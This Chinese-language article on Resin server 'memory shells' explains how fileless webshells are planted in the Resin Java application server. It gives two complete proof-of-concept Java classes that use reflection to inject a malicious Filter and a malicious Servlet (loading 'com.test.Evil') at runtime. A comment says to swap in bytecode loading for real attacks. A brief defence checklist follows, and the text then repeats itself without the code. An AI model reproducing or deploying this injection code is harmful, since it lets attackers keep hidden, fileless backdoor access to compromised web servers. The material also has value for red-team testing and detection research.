Resin内存马逆袭之路
字数 1102 2025-08-12 11:34:46

Resin内存马技术研究与实践

1. 背景介绍

随着红蓝对抗的日益激烈,传统的Webshell文件免杀技术已难以应对蓝队的检测。内存马作为一种无文件的Webshell类型,成为红队研究的热点方向。本文针对Resin应用服务器,详细分析其内存马实现原理与技术细节。

2. Resin简介

Resin是CAUCHO公司开发的Application Server,特点包括:

  • 支持Servlet和JSP引擎
  • 高性能
  • 可与Apache、IIS等WEB服务器协同工作
  • 支持负载均衡

3. 环境搭建

3.1 所需工具

  • IDEA 2022.2
  • Resin 4.0.58
  • JDK 8u261

3.2 搭建步骤

  1. 在IDEA中安装Resin插件
  2. 创建Resin项目,配置Resin环境包路径
  3. 生成war包
  4. 导入resin/lib目录以便调试
  5. 修改resin/conf/resin.xml文件中的web-app配置
  6. 通过IDEA启动Resin

4. 技术分析

4.1 获取上下文对象

在Resin中获取上下文对象的特殊方法:

ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
    .loadClass("com.caucho.server.dispatch.ServletInvocation")
    .getMethod("getContextRequest")
    .invoke(null);

4.2 获取WebApp对象

WebApp webApp = (WebApp) request.getClass()
    .getMethod("getWebApp")
    .invoke(request);

5. Filter内存马实现

5.1 关键数据结构

  • _filterManager: Filter管理器
  • _filters: 以Map形式存储FilterConfigImpl对象
  • _urlPatterns: 存储Filter名与URL的映射关系
  • _filterMap: 以List形式存储FilterMapping对象

5.2 实现步骤

  1. 获取FilterManager
  2. 获取filters映射表
  3. 创建FilterMapping
  4. 设置URL模式
  5. 添加Filter映射

5.3 完整POC

public class TestFilter extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) {
        String filtername = "FilterShell";
        String url = "/filter";
        Class clzz;
        try {
            // 获取request对象
            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
                .loadClass("com.caucho.server.dispatch.ServletInvocation")
                .getMethod("getContextRequest").invoke(null);
            
            // 获取webapp
            WebApp webApp = (WebApp) request.getClass()
                .getMethod("getWebApp").invoke(request);
            
            // 获取_filtermanager
            Field filtermanager_field = webApp.getClass()
                .getDeclaredField("_filterManager");
            filtermanager_field.setAccessible(true);
            FilterManager filterManager = (FilterManager) filtermanager_field.get(webApp);
            
            // 获取_filters
            Field filters_field = filterManager.getClass()
                .getDeclaredField("_filters");
            filters_field.setAccessible(true);
            HashMap<String, FilterConfigImpl> filters = (HashMap<String, FilterConfigImpl>) filters_field.get(filterManager);
            
            clzz = Thread.currentThread().getContextClassLoader()
                .loadClass("com.test.Evil"); // 实战换成defineClass加载字节码
            
            FilterMapping filterMapping = new FilterMapping();
            filterMapping.setFilterClass(clzz.getName());
            filterMapping.setFilterName(filtername);
            FilterMapping.URLPattern urlPattern = filterMapping.createUrlPattern();
            urlPattern.addText(url);
            webApp.addFilterMapping(filterMapping);
            
            res.getWriter().write("Resin Filter Inject Success!");
        } catch (Exception ignored) {}
    }
}

6. Servlet内存马实现

6.1 关键属性

  • _serlvetName
  • _servletClassName
  • _servletClass
  • _urlPatterns

6.2 实现步骤

  1. 获取WebApp对象
  2. 创建ServletMapping
  3. 设置URL模式
  4. 设置Servlet名称和类
  5. 添加Servlet映射

6.3 完整POC

public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException {
        String servletname = "ServletShell";
        String url = "/servlet";
        Class clazz;
        try {
            ServletRequest request = (ServletRequest) Thread.currentThread().getContextClassLoader()
                .loadClass("com.caucho.server.dispatch.ServletInvocation")
                .getMethod("getContextRequest").invoke(null);
            
            WebApp webApp = (WebApp) request.getClass()
                .getMethod("getWebApp").invoke(request);
            
            ServletMapping servletMapping = new ServletMapping();
            servletMapping.addURLPattern(url);
            servletMapping.setServletName(servletname);
            clazz = Thread.currentThread().getContextClassLoader()
                .loadClass("com.test.Evil");
            servletMapping.setServletClass(clazz.getName());
            webApp.addServletMapping(servletMapping);
            
            res.getWriter().write("Resin Servlet Inject Success!!");
        } catch (Exception ignored) {}
    }
}

7. 防御建议

针对Resin内存马的防御措施:

  1. 监控WebApp的_filterManager和ServletMapping变更
  2. 检查非预期的Filter和Servlet注册
  3. 实施运行时字节码检测
  4. 限制反射调用敏感方法
  5. 部署RASP解决方案

8. 总结

本文详细分析了Resin应用服务器中Filter和Servlet内存马的实现原理,提供了完整的技术实现方案。理解这些技术细节有助于安全研究人员更好地防御此类攻击,也为红队测试提供了技术参考。

Resin内存马技术研究与实践 1. 背景介绍 随着红蓝对抗的日益激烈,传统的Webshell文件免杀技术已难以应对蓝队的检测。内存马作为一种无文件的Webshell类型,成为红队研究的热点方向。本文针对Resin应用服务器,详细分析其内存马实现原理与技术细节。 2. Resin简介 Resin是CAUCHO公司开发的Application Server,特点包括: 支持Servlet和JSP引擎 高性能 可与Apache、IIS等WEB服务器协同工作 支持负载均衡 3. 环境搭建 3.1 所需工具 IDEA 2022.2 Resin 4.0.58 JDK 8u261 3.2 搭建步骤 在IDEA中安装Resin插件 创建Resin项目,配置Resin环境包路径 生成war包 导入resin/lib目录以便调试 修改resin/conf/resin.xml文件中的web-app配置 通过IDEA启动Resin 4. 技术分析 4.1 获取上下文对象 在Resin中获取上下文对象的特殊方法: 4.2 获取WebApp对象 5. Filter内存马实现 5.1 关键数据结构 _filterManager : Filter管理器 _filters : 以Map形式存储FilterConfigImpl对象 _urlPatterns : 存储Filter名与URL的映射关系 _filterMap : 以List形式存储FilterMapping对象 5.2 实现步骤 获取FilterManager 获取filters映射表 创建FilterMapping 设置URL模式 添加Filter映射 5.3 完整POC 6. Servlet内存马实现 6.1 关键属性 _serlvetName _servletClassName _servletClass _urlPatterns 6.2 实现步骤 获取WebApp对象 创建ServletMapping 设置URL模式 设置Servlet名称和类 添加Servlet映射 6.3 完整POC 7. 防御建议 针对Resin内存马的防御措施: 监控WebApp的_ filterManager和ServletMapping变更 检查非预期的Filter和Servlet注册 实施运行时字节码检测 限制反射调用敏感方法 部署RASP解决方案 8. 总结 本文详细分析了Resin应用服务器中Filter和Servlet内存马的实现原理,提供了完整的技术实现方案。理解这些技术细节有助于安全研究人员更好地防御此类攻击,也为红队测试提供了技术参考。